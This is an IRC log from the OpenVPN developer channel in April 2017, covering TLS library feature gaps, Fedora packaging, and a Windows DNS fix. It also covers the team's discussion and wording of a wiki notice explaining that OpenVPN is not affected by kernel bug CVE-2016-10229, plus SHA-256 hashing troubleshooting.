that is special casing inside the v2.4+ versions 05:01 <@syzzer> yeah, just like e.g. --use-prediction-resistance 05:02 <@dazo> yes, true enough ... but is that a feature which is at all available in OpenSSL? 05:02 <@syzzer> (or --engine or --capath or --pkcs12-file or ...) 05:03 <@syzzer> depends per option, but the gist is: it 05:03 <@syzzer> it's not supported 05:05 <@dazo> And I am incredibly unhappy that --pkcs12 support is lacking when mbed TLS should be able to cope with that today 05:06 <@dazo> and we have had a form of agreement that --tls-cert-profile _should_ be implemented for for OpenSSL builds too 05:06 <@syzzer> yeah? so then we remove the #ifdefs and all is fine :) 05:07 <@dazo> sure ... but *when*? That is the true question for me then 05:08 <@syzzer> I don't know, but should that hold back the mbed TLS part/ 05:08 <@dazo> Right now, I am willing to hold that back, yes 05:09 <@syzzer> well, that can be a result too 05:10 <@dazo> Because --pkcs12 support have been available for some time in mbed TLS afaik ... but we still haven't fixed that .... if we allow --tls-cert-profile for mbed TLS and then in 3 years still haven't solved OpenSSL ... that is really ensuring feature sets drifting too much apart 05:10 <@syzzer> but as I said - I am willing to comply to what you ask, I just don't agree ;) 05:11 <@dazo> My main concern is that we should not contribute further to mbed TLS and OpenSSL builds drifting apart on the feature sets ... that gap is already noticeable, and I dislike that direction 05:11 <@syzzer> (and I think implementing the features is orthogonal to the issue here) 05:11 <@syzzer> they will drift apart just as much, the discussion is just about how to tell the user that the option is not supported 05:12 <@dazo> fair point ... so then I prefer to hold back the current patch until we at least have a commitment to a timeline for the openssl support 05:13 <@dazo> To be honest, I probably wouldn't have thought much about this until I took over openvpn package maintenance recently for Fedora, where we had to switch to mbedtls to be able to provide an openvpn build in F26+ ... that's where this feature gap hit me quite hard 05:13 <@dazo> And what hit me most hard in all this, is several bugzillas with long threads of comments of pissed users that this broke their setups 05:14 <@syzzer> those people should be pissed at the openssl maintainer 05:14 <@syzzer> for prematurely switching to 1.1 05:15 <@dazo> nope .... that was planned by FESCO (Fedora board, deciding the future of Fedora releases) 05:15 <@syzzer> ok, those guys then 05:16 <@dazo> (to be fair, some of them are openvpn 2.4 related ... but pkcs#11 and pkcs#12 plus the "prefered" TLS profile being default have been specific to mbedtls) 05:16 <@dazo> https://fedoraproject.org/wiki/Changes/OpenSSL110 05:16 <@vpnHelper> Title: Changes/OpenSSL110 - FedoraProject (at fedoraproject.org) 05:18 <@syzzer> that page actaully claims there is a compat openssl102 package? 05:19 <@dazo> I see that now ... I took over this package after the switch ... so need to test this properly 05:19 <@syzzer> anyway, I get that being a package maintainer can be an unthankful job. 05:21 <@dazo> and the challenges is that this doesn't give a good impression on mbed TLS in the Fedora world .... which is also something I am truly unhappy about too 05:21 * dazo need to run and help out at home 05:22 <@syzzer> ok - better be quick then! 05:35 <@syzzer> dazo: I was a bit surprised over your PKCS12-support statement in mbed, so just looked into it, but there is still no pkcs12-support. Just a tiny bit of 'password based encryption' that is used to decrypt PKCS#8 privkeys. 05:36 <@syzzer> so unforntunately still no pkcs#12-support for mbed TLS builds :( 05:44 <@dazo> eek ... that explains why I didn't fully grasp the API how to implement it :/ 05:53 <@dazo> And ... there is no compat openssl102 package in F26 ... nobody seems to have gotten into that :/ 06:06 <@dazo> oh wait ... 06:28 <@ordex> aloha people :) 06:39 <@dazo> hey ordex! 06:41 <@ordex> hope you had a nice easter :) apparently everybody is back to work already hehe ;) 06:43 <@dazo> hehe ... actually, it's still holiday here ... but I got a bit bored :-P 06:44 <@dazo> (Norway's Easter holiday is Thu-Mon) 07:15 <@ordex> yeah 07:15 <@ordex> vacation here as well 07:15 <@ordex> Fri-Mon 07:15 <@ordex> but yeah, if you don't go out of town, you get bored at some point :D 07:24 -!- marlinc_ is now known as marlinc 10:00 <@cron2_> kids have school vacation, so no way to form a coherent thought 10:00 <@cron2_> vaction is until friday 11:44 <@dazo> meh ... compat-openssl10 exists on F26 ... but it lacks the corresponding pkcs11-helper package compiled against compat-openssl10 :/ 11:54 <@dazo> or it might just be that pkcs11-helper-devel depends on openssl-devel (v1.1) which conflicts with compat-openssl10-devel 15:13 <@syzzer> dazo: yeah, it won't work if pkcs11-helper depends on openssl-1.1 while openvpn wants 1.1 15:14 <@syzzer> (I think, because those expose partly the same symbols, so I expect the linker to break) 15:14 <@syzzer> an pkcs11-helper compiled against mbed TLS should work though 15:34 <@dazo> hmmm ... I need to verify how an openvpn mbedtls build with pkcs11-helper works in Fedora .... 15:42 <@syzzer> well, all-mbed(/polar) builds with pkcs11 work for sure - we're shipping that for 8 years now 15:47 <@dazo> Yeah, just need to test how Fedora builds explodes ... I thought I had done some successful builds ... but I might be mislead ... so need to get some tokens functional 20:30 <+krzee> omg 8 years with polar? 20:30 <+krzee> time flies --- Day changed Tue Apr 18 2017 05:59 < valdikss> Hi guys. Can you help me please. Calling GetIpInterfaceEntry and then without changing any parameters SetIpInterfaceEntry and it returns INVALID_PARAMETER. 06:00 < valdikss> People on the internet says to use netsh.exe. I'm trying to fix block-outside-dns. 06:04 <@d12fk> are you using msvc or mingw? 06:04 < valdikss> mingw 06:04 < valdikss> probably found a fix, just a min 06:05 <@d12fk> mingw has a different alignment than msvc 06:05 <@d12fk> i always needed to fix the headers to make it work 06:05 <@d12fk> it has to do with bitfields in structs 06:06 <@d12fk> at least that's the case with cagwin's mingw 06:06 <@d12fk> *cygwin 06:07 < valdikss> I'm compiling on linux 06:07 <@d12fk> never checked if it works when cross compiling 06:08 < valdikss> aaand it works, hooray! 06:23 <@ordex> :D 06:26 < valdikss> https://github.com/ValdikSS/openvpn-with-patches/commit/0651c0469038dd0ba39329f4b83ecd7e1d04323e 06:26 <@vpnHelper> Title: Set low interface metric for --block-outside-dns · ValdikSS/openvpn-with-patches@0651c04 · GitHub (at github.com) 06:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 06:47 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:47 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:53 <@vpnHelper> RSS Update - tickets: #876: manpage using deprecated option "ns-cert-type server" <https://community.openvpn.net/openvpn/ticket/876> 17:55 < slypknot> krzee: step two .. shave the monkey ! 19:44 <@ordex> O_o 19:49 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 240 seconds] 19:49 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 19:49 -!- mode/#openvpn-devel [+o dazo] by ChanServ 20:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 20:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Wed Apr 19 2017 10:37 <@cron2_> *sigh*... upgraded my gentoos, now vmware-player dies with signal 11 10:38 <@cron2_> some shared library fuckup, but there's way too many of them around (google suggests "some of glib's zillion of .so") 10:44 <@ordex> cron2_: and vmware-player is a binary, no ? it is not built on emerge 10:45 <@ordex> cron2_: have emerged it with USE="bundled-libs" ? 10:45 <@ordex> it should pull all it needs on its own, without bothering the sys libraries 10:47 <@cron2_> ordex: it's a big binary thingie, out of which emerge extracts *some* of the bundled libraries (like, libglib, but not libgobject) 10:47 <@cron2_> bundled-libs is default, I think 10:48 <@cron2_> or maybe not. Let me try. 10:48 <@dazo> cron2_: you should try qemu-kvm, libvirtd and virt-manager ;-) (three components giving you what you need for running vms) 10:49 <@cron2_> dazo: none of them can run my existing VMs without spending days on converting disk images, installing new drivers inside, etc. 10:49 <@dazo> I believe qemu supports vmware images .... don't recall now if conversion is needed .... but true, drivers inside vms can be a hassle 10:50 <@cron2_> while vmware lets me nicely move around .vmx/.vmdk between vmware-on-anything (like, on linux, on macos, on bare metal) 10:50 <@ordex> yap, it won't work out of the box :P 10:52 <@cron2_> plus, I think I need to find "the right overlay"... base portage has 12.1, while $something has at least 12.5... 10:52 <@cron2_> (if I set package.use to "bundled-libs", and emerge -N, it starts compiling libtiff... why doesn't that make sense?) 10:52 <@dazo> that's true .... with vmware, you're mostly locked in to their universe .... qemu is in this regards just another universe too 10:55 <@cron2_> ... and one of the real niceties of vmware is the drivers they have for all the guest OSes... (I even bought a license for workstation, like, 15+ years ago.... :) ) 10:56 <@cron2_> ordex: you are my hero. USE=bundled-libs solved it 10:57 <@ordex> cool 10:57 <@ordex> I had a similar problem with vmware-workstation 10:57 <@ordex> and that solved it, because the blob couldn't link with my libs 10:57 <@cron2_> not sure I understand what it did, or why it installed *extra* libs, but anyway, I can focus on "things I need to do", instead of "infrastructure getting in the way" now :) 10:58 <@ordex> right :D 20:03 <@ordex> morning ! --- Day changed Thu Apr 20 2017 02:08 <@syzzer> morning :) 02:15 <@mattock> morning 02:42 <@ordex> :) 06:52 <@dazo> morning? :) 06:57 <@ordex> well, evening now :P 07:00 <@dazo> :) 07:00 <@dazo> so ... time is relative! :-P 07:01 <@ordex> eheh 07:01 < dwmw2_gone> dazo: prod me if you need help with the soft token stuf 07:01 <@dazo> dwmw2_gone: ahh, thx! Yes, I'll do that :) 07:42 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 07:42 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 07:42 -!- s7r_ is now known as s7r 07:43 < sagatak> hello. quick question: is the msg_peek syscall used by openvpn? (regarding the CVE-2016-10229, udp remote code execution) 07:55 < sagatak> a quick search/look seems to suggest that in fact no, it does not call MSG_PEEK (?) 07:57 <@dazo> sagatak: no, I don't think so ... IIRC, OpenVPN reads the complete packet into its own buffer and starts peeking on that buffer instead 07:58 < sagatak> dazo: thank you! 07:58 <@dazo> and iirc, those peek functions only reads out data without moving any buffer pointers .... but it's ages since I looked at those code paths, so I might confuse them 08:05 < sagatak> dazo: do you think it would be worth having an official statement about this CVE? (for people who only expose a udp socket to the world on a particular server for the purpose of openvpn, it can make a big difference: for instance i can calmly wait for the weekend while making sure nothing else can get a udp socket on that machine, knowing i am "safe") 08:05 < sagatak> i mean wait before upgrading the kernel and rebooting 08:08 <@dazo> hmmm ... I'm split minded about it, to be honest ... I see the advantage for users only exposing OpenVPN with UDP on a server. But this is strictly a Linux kernel bug, and OpenVPN itself is cross-platform 08:10 <@dazo> but there is an interesting intersection too, which could lead users to think OpenVPN is affected by this ... but such an official statement also requires a far better analysis and confirmation than what I've done here now 08:10 <@dazo> I'd like to hear what cron2_, plaisthos and syzzer thinks about this too 08:12 <@dazo> I'm also seeing this one .... https://access.redhat.com/solutions/3001781 .... which leads me to think this is even more narrow scoped than "all Linux kernels" too 08:12 <@vpnHelper> Title: Is my Red Hat product affected by kernel CVE-2016-10229? - Red Hat Customer Portal (at access.redhat.com) 08:15 <@dazo> this is interesting ... most upstream kernels seems vulnerable, but not many Linux distribution built kernels ... http://www.securityfocus.com/bid/97397 08:15 <@vpnHelper> Title: Linux Kernel 'ipv4/udp.c' Remote Code Execution Vulnerability (at www.securityfocus.com) 08:16 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 08:19 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 08:39 <@plaisthos> dazo: We don't use MSG_PEEK. As far I understood the CVE we are not vulnerable 08:40 <@syzzer> ^^ what plaisthos says 08:40 <@plaisthos> If we are indeed vulnerable the vulnerability description in CVE is wrong 08:44 < sagatak> plaisthos: syzzer: thank you 08:46 < sagatak> dazo: it is strange indeed. the redhat portal lists the public date for the cve to be 2015 something, it might be that some distros fixed it without waiting for upstream, and upstream either missed the patch they submitted, or it was never submitted (though it sounds unlikely, i know redhat is quite strict about relaying back to upstream). anyway, i'm just speculating here (bs alert) :) 09:17 <@cron2_> dazo: what plaisthos says :) (by all I've read about it so far) 09:42 <@dazo> plaisthos, syzzer, cron2_: so ... should we add a security notice about this issue? 09:42 * dazo is undecided and uncertain 09:46 <@cron2_> do we have a page where we collect CVEs and our response to it? If yes, people might come looking - if not, I'm not sure we want to bother. But then, maybe we need to create such a page :) 09:47 <@dazo> yeah, I'm with you on that one ... 09:56 <@syzzer> Someone could add a 'we are not vulnerable' page to https://community.openvpn.net/openvpn/wiki/SecurityAnnouncements 09:56 <@vpnHelper> Title: SecurityAnnouncements – OpenVPN Community (at community.openvpn.net) 10:14 < sagatak> dazo: cron2_: syzzer as i said, as a user (openvpn setup admin), i would be thankful to have such statement on your page, of course it's ultimately up to you 10:18 <@ordex> are we sure we can catch all the CVE and say "we are not vulnerable" ? it makes sense for affecting CVE and our fix to that, but for the non-problematic ones sounds a bit weird, no? 10:20 <@cron2_> ordex: "any random CVE", indeed. OpenSSL related ones, or this sort of "you're the only UDP service on Linux, and there is a UDP problem" - we might miss one or the other, but if we're asked about it, and answer it here, what's wrong with putting it up on the page? 10:22 <@dazo> cron2_++ 10:22 <@ordex> ah yeah, if a CVE is clearly related then yeah, I think it makes sense 10:22 <@syzzer> what cron2 says. As soon as there is a page on the wiki, the helpful people in #openvpn can also refer to that. 10:23 <@dazo> I'm preparing a few updates to the wiki now 10:23 < sagatak> cron2_++ i would agree: as a user, i don't feel the need for a "binding" security page, but it seems if somebody asks and the question appears pertinent, it would be nice to document it 10:29 <@cron2_> dazo: thanks 11:31 <@dazo> https://community.openvpn.net/openvpn/wiki/CVE-2016-10229 11:31 <@vpnHelper> Title: CVE-2016-10229 – OpenVPN Community (at community.openvpn.net) 13:46 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 13:49 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:59 <@ordex> aloha --- Day changed Fri Apr 21 2017 02:09 <@cron2_> http://www.ru.nl/publish/pages/769526/tomas_novickis.pdf "Protocol state fuzzing of an OpenVPN" 02:09 <@cron2_> ... 218 pages, wtf? 02:10 <@cron2_> but maybe useful to dazo, because he also decided to actually document the openvpn protocol, while at it... 02:16 <@ordex> cron2_: 218? I see 55 here 02:30 <@cron2_> oh? (I did not actually look, but was given this URL with "and it's 218 pages, have fun") 02:30 <@cron2_> should verify my fake news better 02:32 <@ordex> :D 02:33 <@ordex> and the last 5 to 10 pages are appendix and similar 02:33 <@ordex> so pretty readable also for me 02:33 <@ordex> :D 05:25 <@plaisthos> I skimmed through 05:26 <@plaisthos> it looks like he ran out of time and did not do the fuzzing 05:27 <@ordex> ah 05:27 <@ordex> :D 05:27 <@ordex> well, they had to graduate 05:27 <@ordex> :) 05:28 <@dazo> yeah, that was a bit disappointing 21:24 <@ordex> hi 21:26 < slypknot> https://community.openvpn.net/openvpn/wiki/CVE-2016-10229 21:26 <@vpnHelper> Title: CVE-2016-10229 – OpenVPN Community (at community.openvpn.net) 21:27 < slypknot> I am confused .. is that *only* an UDP instance ? 21:27 < slypknot> ordex: yo ;) 21:28 <@ordex> yo! 21:28 < slypknot> salutations 21:28 <@ordex> hehe 21:28 <@ordex> to me it sounds like having 2 udp instances creates a vulnerable scenraio 21:29 < slypknot> nice and warm ? 21:29 <@ordex> but I don't know, dazo should 21:29 <@ordex> and humid ;) 21:29 <@ordex> although this weekend is a bit rainy 21:29 < slypknot> the summer is coming .. hope it is a nice one 21:30 < slypknot> .. 21:30 < slypknot> as for that "security Announcement" .. 21:31 < slypknot> dazo: ^^ 21:33 < slypknot> *ambiguous* 21:36 < slypknot> /one/ can only imagine "how deep the rabbit hole goes" .. 21:39 < slypknot> ordex: if open vpn does noy use MSG_PEEK .. how does another openvpn instance *change* that premise ? 21:40 < slypknot> it either does or it dont .. 21:41 <@ordex> well, I don't know what the problem is. can't exclude that anything 21:42 < slypknot> it says " processing packets from the remote" .. tcp/ip stack ? 21:42 < slypknot> very deep ! 21:42 < slypknot> how does one or two instances change that ? 21:44 < slypknot> probably just need a rewrite 21:45 < slypknot> of the announcement 21:52 < slypknot> my "go to" conclusion is that TCP *does* use MSG_PEEK .. and is therefore .. vulnerable 21:53 < slypknot> bbut i am probly wrong 21:59 <@ordex> slypknot: by being a kernel bug, it is not possible to exclude that using multiple instances of a similar process will trigger different bahviours 21:59 <@ordex> this said 21:59 <@ordex> I have no clue :P 22:05 < slypknot> ordex: indeed .. and therefore "how deep does rge rabbit hole go" 22:05 < slypknot> even so .. the announcement is still *very* ambiguous 22:12 < slypknot> announce a *possible* security floor is ok .. speaking "double dutch" about it is not so good --- Day changed Sat Apr 22 2017 01:29 <@cron2_> as it's not our security hole, just read up on the kernel side of it - it can be triggered *if* there is an UDP service on the machine *and* that service uses MSG_PEEK() 01:29 <@cron2_> if OpenVPN is the only UDP service, you're not vulnerable, because we're not using MSG_PEEK() 01:29 <@cron2_> TCP is never vulnerable 01:30 <@cron2_> if you have *other* UDP services (= not openvpn) we can't tell whether you might be vulnerable or not, but it's not our doing, then 07:54 < slypknot> cron2_: thanks for the explanation .. i do think the announcement could be written more clearly tho .. 08:28 <@ordex> cron2_: I think the confusion came from the fact that the way it is writte, it sounds like "if you have only one, it's ok", thus implying "if you have more openvpn instances, you have troubles" 08:28 <@ordex> *written 08:47 < slypknot> I will send a suggestion to the dev mailing list to how it may be written more clearly 13:30 <@cron2_> ordex, slypknot: textual suggestions welcome, neither dazo nor I are english native speakers :-) - I can see the confusion 13:39 <+krzee> it was clear to me 13:39 <+krzee> <slypknot> my "go to" conclusion is that TCP *does* use MSG_PEEK .. and is therefore .. vulnerable <--- the bug itself is regarding UDP 13:40 <+krzee> like, it's a bug that only exists in udp.c in the kernel 13:50 <@cron2_> krzee is right - the linux kernel vulnerability is in UDP (only), but to be relevant, it needs an application that dies a) UDP and b) MSG_PEEK 13:50 <@cron2_> since OpenVPN does not do b), a system using UDP *only* for OpenVPN will not be vulnerable 14:00 <+krzee> i think maybe in the advisory we should only talk about openvpn, instead of looking at it from a system perspective 14:00 <+krzee> so drop this: Systems running only an OpenVPN instance listening on a UDP port should not be impacted by this CVE. 14:00 <+krzee> OpenVPN does not make use of the MSG_PEEK feature when processing packets from a remote system, and therefor is not impacted by this CVE. 14:01 <+krzee> cron2, does that seem ok? i want somebody to say its cool before i change it 14:01 < slypknot> I think it needs to be made clear that a system running an UDP service are vulnerable even though te vuln is not within openvpn itself :) 14:02 <+krzee> well i mean, should we start talking about EVERY security vuln then? 14:02 <+krzee> we only talk about security vulns as they relate to openvpn 14:02 < slypknot> I think the issue is that the vuln can imoact an openvpn system .. 14:02 <+krzee> and what are you doing off my ignore list? 14:02 <+krzee> :D 14:03 < slypknot> ;) 14:03 < slypknot> i guess you forgave me ? 14:03 <+krzee> no such thing as "an openvpn system" 14:03 <+krzee> theres just systems which run openvpn 14:03 <+krzee> and what vulns outside openvpn are on said system have nothing to do with us 14:04 < slypknot> i agree totally with your conclusion .. my issue was only that the wording itself added to my confusion 14:05 <+krzee> https://community.openvpn.net/openvpn/wiki/CVE-2016-10229 14:05 <@vpnHelper> Title: CVE-2016-10229 – OpenVPN Community (at community.openvpn.net) 14:05 <+krzee> cron2_: if you dont think my change is ok please feel free to change it back 14:06 <+krzee> bbl 14:10 < slypknot> krzee: cron2_ .. Is the problem that, on a system which is vuln, openvpn can be forced to leak information ? 14:12 < slypknot> I guess, regardless of openvpn, on a vuln system the jig is up ! 15:46 <@cron2_> it would be helpful if you two would actually read the backlog where we discussed why we've decided to comment on this CVE 15:46 <@cron2_> there has been a big hubbub about "all linux systems can be owned by UDP!", which is totally not true, but *if* you run an UDP-based service, you *might* 15:47 <@cron2_> so we clarify that "if that UDP based service is OpenVPN, we do not use MSG_PEEK, so if this is the *only* UDP based service, rest assured that you're not vulnerable" 15:47 <@cron2_> many VPN servers run exactly *ONE* UDP based service, namely OpenVPN 15:47 <@cron2_> making this relevant for us to comment on 16:12 < slypknot> cron2_: I understand and agree .. my original concern was simply that dazo first draft was not good english .. and I realise it must be difficult if english is not yr first language .. hence why i simply mentioned it here. 16:17 < slypknot> then i chatted with krzee :) 19:25 <+krzee> cron2_: i did read the backlog regarding MSG_PEEK 21:53 <@ordex> btw, what puzzled me was about this part "running only an OpenVPN instance", which sounded to me "if you run TWO OpenVPN instances then you are vulnerable", which I imagined not to be true 21:53 <@ordex> the rest was ok --- Day changed Sun Apr 23 2017 01:24 <@cron2_> maybe that could have been worded as "the only UDP service your run is OpenVPN" 01:24 <@cron2_> you 01:32 <@ordex> yeah, to me that sounds much better! 02:53 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 258 seconds] 03:02 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 03:02 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:16 <+krzee> at the same time, who knows what other apps are not effected 15:16 <+krzee> surely openvpn isnt the only app that listens on udp without using MSG_PEEK 15:17 <+krzee> all we really can speak on is that openvpn itself is not effected 15:36 <@cron2_> most programs are not affected, MSG_PEEK is somewhat untypical 16:12 < slypknot> https://community.openvpn.net/openvpn/wiki/CVE-2016-10229 16:12 <@vpnHelper> Title: CVE-2016-10229 – OpenVPN Community (at community.openvpn.net) 16:12 < slypknot> what is the right word ? 16:13 < slypknot> impacted/effected by this bug, are not right 16:13 < slypknot> openvpn does not use MSG_PEEK and so does not "carry" this bug .. ? 16:18 < slypknot> openvpn does not use MSG_PEEK therefore openvpn is not a viable target for such an expliot .. 16:19 < slypknot> it is defo tricky to write a sensible description for such a quirky problem ! 19:34 <+krzee> slypknot: i think you're putting WAY too much thought into it 19:34 <+krzee> its fine how it is 19:58 < Thermi> OpenVPN does not use MSG_PEEK and therefore does not cause the security vulnerability to be exploitable on this case. 19:58 < Thermi> s/case/system. 20:01 <@ordex> I think it is fine now. people will understand - it is not a white house statement :P 20:04 < Thermi> You overestimate the intelligence of the average openvpn user. 20:04 < Thermi> I'm sorry I'm saying this so bluntly. 20:05 <@ordex> hehe 20:05 < Thermi> p 20:06 < Thermi> (Wrong window) 20:07 < slypknot> i still don't understand ;) 20:07 < slypknot> jk --- Day changed Mon Apr 24 2017 09:45 <@dazo> I hope both syzzer and cron2 will be happy with the last v5 patch ...... 09:59 <@cron2_> I'll give it a good beating later :) 10:00 <@dazo> thx :) 10:14 < slypknot> is https://community.openvpn.net ok ? 10:14 < slypknot> something is really slow ! 10:15 <@dazo> yeah, seeing the same here too 10:16 < slypknot> ok .. so it's not just me :) 10:16 <@dazo> :) 10:20 <@syzzer> dazo: I'm out for sports tonight, but I do hope I'm happy too ;-) 10:21 <@syzzer> should we plan a meeting btw/ 10:21 <@dazo> yeah, we should! 10:21 <@syzzer> (although looking at my calendar, coming Wed won't work for me...) 10:25 <@dazo> this week isn't too easy for me either 12:13 <@cron2_> so what about thursday or friday for a meeting? I could make both (this week) - but we certainly need a meeting to get us out of our lethargy ("busy with other work" :) ) 12:15 <@dazo> I'm busy on Thursday ... Friday is doable, but next week would Tue, Wed and Thu be available 12:20 <@cron2_> next week, I could do Wed an Thu (or "later Tue", ~20:40 MEDT) let's wait for mattock and syzzer to chime in... 12:20 <@dazo> MEDT? 12:20 <@dazo> CEST? 12:34 <@cron2_> whatever, "40 minutes after our normal starting time" 12:51 <@dazo> okay UTC+2 :) 12:51 <@dazo> but agreed ... good time for me as well 12:51 * dazo runs for the train 16:08 -!- cron2_ is now known as cron2 20:43 <@ordex> hola 20:44 * ordex didn't know about ME(D)T 22:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 22:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Apr 25 2017 01:53 <@cron2> syzzer: good morning. Do you have time for a quick look at dazo v5? It nicely works for my machines, but you use "link to non installed openssl" which I did not test 02:47 <@cron2> now there's a commit with an interesting ratio of "message lines to changed lines"... 02:47 <@cron2> https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=4d6fa57b4dab0d77f4d8e9d9c73d1e63f6fe8fee 02:47 <@vpnHelper> Title: kernel/git/davem/net.git - David Miller's networking tree (at git.kernel.org) 03:15 <@syzzer> cron2: is ok if I do that tonight? The setup that uses the _LIBS and _CFLAGS for openssl builds is at home, so then I wouldn't have to set it up at work too. 03:16 <@cron2> syzzer: good enough :) - then I can push tonight (and then go and fix all my buildslaves that have 0.9.8 openssl versions) 06:32 <@dazo> cron2: what about the lz4 rebase + moving us away from deprecated functions? 06:33 <@cron2> dazo: we should certainly do that... there's a bunch of patches on the list that has not seen enough love 06:34 <@dazo> yeah ... of course, sec-audit patches takes precedence ... but there are some "lower hanging fruits" (like lz4, copyright) which shouldn't be too hard to review 06:34 * dazo starts to dig into syzzers patches now 06:37 <@cron2> please do not commit&push anything yet :) - I have your v5 in my tree, ready to be pushed, and would have to update the already-written but not sent yet mail :-) 06:39 <@dazo> hehe ... I won't push anything yet :) 06:54 <@dazo> mattock: you need to add a Thunderbird rule to enforce it to use PGP/MIME ... otherwise Enigmail will make the "replied quotes" a real mess 06:55 <@mattock> ah, so what enigmail told was actually true 06:55 <@dazo> have a look at the mail in your sent-box ;-) 06:56 <@mattock> hmm yes 06:56 <@mattock> fixed 06:56 <@mattock> looks "slightly" messy 06:57 <@dazo> "slightly" .... well, that's a way to say it :-P 07:00 <@dazo> unfortunately ... PGP/MIME mails have issues too ... however, sf.net corrupts the signature with their "adds" at the end of mails ... but not sure if that's an Enigmail bug, or sf.net's fault 07:16 <@mattock> yesterday I spent ~3 hours fixing Thunderbird+Enigmail which broke mysteriously due to an intricate web of interwoven bugs and features in Debian, gnome-keyring-daemon, gpg-agent, pinentry-x11, pinentry-gnome3 etc. 07:17 <@mattock> that was a "fun" exercise 07:17 <@mattock> but now I got it fixed and documented, so all the kludges should hold in one piece for some months at least :P 07:17 <@dazo> :) 08:18 <@ecrist> all the encrypted emails have been verifying fine in my Apple mail client 08:21 <@dazo> ecrist: also my signed mails to the -devel mailing list, especially on replies 08:21 <@dazo> (it might just be an enigmail decoding error) 08:26 <@ecrist> kmail from about 2001 was the best mail client I've used with GPG. everything since has been less than ideal 08:35 <@mattock> it's surprising how badly GPG is supported in email clients in general 08:36 <@cron2> mutt is ok-ish, as long as you have the same passphrase for all your keys... 08:36 <@cron2> having a different key for the security@ and my private address makes this painful 08:36 <@mattock> I tested sylpheed (a GTK email client) a bit, and it seemed to work quite well 08:37 <@mattock> but it was pretty slow 08:39 < Thermi> Well, it works okay in Thunderbird with Enigmail. 08:40 <@mattock> Thermi: yes, except when it break horribly like it did for me :P 08:40 < Thermi> mattock: Thunderbird or Enigmail? 08:40 <@mattock> Enigmail actually, but the story was more complex than that 08:40 <@mattock> old Thunderbird versions were also involved 08:40 <@cron2> hrmh, talking about it... gentoo fails upgrading thunderbird for me today, because "something with enigmail" is not right 08:41 <@mattock> but the main culprit was gnome-keyring-daemon 08:41 <@ecrist> the latest GPGMail for mac works pretty well. it'd be nice if Apple would quit breaking whatever API they're using with each release, though. 08:53 <@ecrist> can one of you help with with a sha256 sum? 08:53 <@ecrist> If I do: echo "Hello World!" | openssl dgst -sha256 08:53 <@ecrist> I get 03ba204e50d126e4674c005e04d82e84c21366780af1f43bd54a37816b6ab340 08:54 <@ecrist> if I do: echo "Hello World!" | sha256sum -t 08:54 <@ecrist> I get 03ba204e50d126e4674c005e04d82e84c21366780af1f43bd54a37816b6ab340 08:54 <@ecrist> but, I have a developer here who gets 7f83b1657ff1fc53b92dc18148a1d65dfc2d4b1fa3d677284addd200126d9069 08:55 <@ecrist> and if I go to www.xorbin.com/tools/sha256-hash-calculator, I get 7f83b1657ff1fc53b92dc18148a1d65dfc2d4b1fa3d677284addd200126d9069 08:55 <@ecrist> so, what is different between the two? 08:56 <@ecrist> ahh, I think echo is my problem 08:56 <@ecrist> heh, it adds a \n to the end 08:57 <@ecrist> some times you just gotta talk things out 09:36 <@cron2> ecrist: always at your service :) 09:45 <@ecrist> cron2: have you written anything using mbed TLS? 09:59 <@cron2> ecrist: no, but I'm happy to listen to anything you might want to complain about 10:01 <@ecrist> well, I don't write C, and I'm trying to help a developer write some code to hash a file (blind leading blind) 10:02 <@ecrist> his use case is an embedded system with a whopping 2K of ram, and he's trying to hash a 1.1MB file 10:02 <@ecrist> so, he's feeding the hash function ~2k blocks of data, but that function just hashes what it's fed - not sure how to handle it 10:09 < Thermi> huh? 10:10 < Thermi> What hash function is it? 10:11 < Thermi> Just feed it $blockSize bits, then get the digest from it 10:40 <@dazo> ecrist: iirc, there's often some "update" functions, where you pass all these blocks ... and at the end you usually call a "finalize" function, which produces the final hash 10:40 <@dazo> (in theory, that is) 10:43 <@ecrist> ok, that sounds like what he's doing, but his hash is different from what I get from my end 10:43 <@ecrist> we've established we can produce the same hash with the content is less than $blocksize 10:43 < Thermi> ecrist: He might forget to initialize the uninitialized bits of the last block. 10:43 <@dazo> yeah, probably something like that 10:43 < Thermi> Can't tell what it is. Maybe he should throw valgrind at it. 10:44 < Thermi> Maybe there's mandatory padding following some scheme. 10:44 <@ecrist> padding is what he and I were thinking 10:44 < Thermi> valgrind 10:44 < Thermi> and reading the spec 10:45 <@ordex> but the hash is not block based, no? so when the last block is shorter you just pass an array with a shorter size as parameter, no ? 10:46 * ordex might be wrong 10:46 <@dazo> that might be true as well ... I don't have the mbed TLS API handy right now 10:48 <@dazo> ecrist: have a look at the mbed TLS source code ... library/sha256.c ... mbedtls_sha256_self_test() 10:49 <@dazo> that basically does those steps you need 10:49 <@ecrist> ok, I'll poke 10:49 <@ecrist> It's kind of fun figuring this out have zero C knowledge. :) 10:49 <@dazo> heh :) 10:50 <@dazo> oh, here it is .... just need to search the web page :-P https://tls.mbed.org/sha-256-source-code 10:50 <@vpnHelper> Title: SHA-256 Source Code (SHA2) - mbed TLS (Previously PolarSSL) (at tls.mbed.org) 10:51 <@dazo> so, ordex wins the price :) 10:51 <@ordex> oh! what did I win? :D 10:51 